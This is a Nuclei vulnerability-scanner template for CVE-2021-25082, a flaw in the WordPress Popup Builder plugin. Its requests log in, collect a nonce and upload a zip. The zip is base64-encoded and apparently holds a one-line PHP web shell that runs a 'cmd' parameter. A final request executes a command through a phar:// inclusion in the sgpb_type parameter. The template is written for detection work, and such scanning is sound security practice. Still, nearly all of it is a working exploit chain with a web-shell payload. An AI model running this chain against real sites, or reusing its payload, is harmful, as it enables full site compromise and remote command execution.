id: CVE-2021-25082 info: name: WordPress Popup Builder < 4.0.7 - Remote Code Execution author: 0x_Akoko severity: critical description: | Popup Builder WordPress plugin before 4.0.7 contains a local file inclusion caused by unsanitized 'sgpb_type' parameter in require statement, letting attackers include arbitrary local files or execute code via wrappers like PHAR, exploit requires attacker to control 'sgpb_type' parameter. impact: | Attackers can include arbitrary local files or execute code remotely, leading to remote code execution and full site compromise. remediation: | Update to version 4.0.7 or later reference: - https://wpscan.com/vulnerability/0f90f10c-4b0a-46da-ac1f-aa6a03312132/ - https://nvd.nist.gov/vuln/detail/CVE-2021-25082 classification: cve-id: CVE-2021-25082 epss-score: 0.2966 epss-percentile: 0.9675 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.8 cwe-id: CWE-98 metadata: verified: true max-request: 5 tags: cve,cve2021,wordpress,wp-plugin,rce,popup-builder,authenticated,vkev variables: marker: "{{to_lower(rand_text_alpha(10))}}" flow: http(1) && http(2) && http(3) && http(4) && http(5) http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In matchers: - type: dsl dsl: - status_code == 302 - contains(header, "wordpress_logged_in") condition: and internal: true - raw: - | GET /wp-admin/upload.php HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code == 200 - contains(body, '_wpnonce') condition: and internal: true extractors: - type: regex name: nonce group: 1 regex: - '"_wpnonce":"([a-f0-9]+)"' internal: true - raw: - | POST /wp-admin/async-upload.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{randstr}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="name" malicious.zip ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="action" upload-attachment ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="_wpnonce" {{nonce}} ------WebKitFormBoundary{{randstr}} Content-Disposition: form-data; name="async-upload"; filename="malicious.zip" Content-Type: application/zip {{base64_decode("UEsDBAoAAAAAAHINkVuOOgt7HwAAAB8AAAAJABwAUG9wdXAucGhwVVQJAAPHCkJpxwpCaXV4CwABBAAAAAAEAAAAADw/cGhwIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/PgpQSwECHgMKAAAAAAByDZFbjjoLex8AAAAfAAAACQAYAAAAAAABAAAApIEAAAAAUG9wdXAucGhwVVQFAAPHCkJpdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEATwAAAGIAAAAAAA==")}} ------WebKitFormBoundary{{randstr}}-- matchers: - type: dsl dsl: - status_code == 200 - contains_all(body, "success", ".zip") condition: and internal: true extractors: - type: regex name: upload_year group: 1 internal: true regex: - 'uploads\\/([0-9]+)\\/[0-9]+\\/[^"]+\.zip' - type: regex name: upload_month group: 1 internal: true regex: - 'uploads\\/[0-9]+\\/([0-9]+)\\/[^"]+\.zip' - raw: - | GET /wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code == 200 - contains(header, "application/zip") condition: and internal: true - raw: - | GET /?sgpb_type=phar://wp-content/uploads/{{upload_year}}/{{upload_month}}/malicious.zip/&cmd=echo%20{{marker}} HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - status_code == 200 - contains(body, "{{marker}}") condition: and # digest: 4a0a00473045022100f9bf045c523ccf28d0024733c16303f7a74b44efb8d7415236a9112e995ae9640220242e63d1fa097e086a3f07062081a88d8c1297514a71f7ced55cf1083a43c2b1:922c64590222798bb761d5b6d8e72950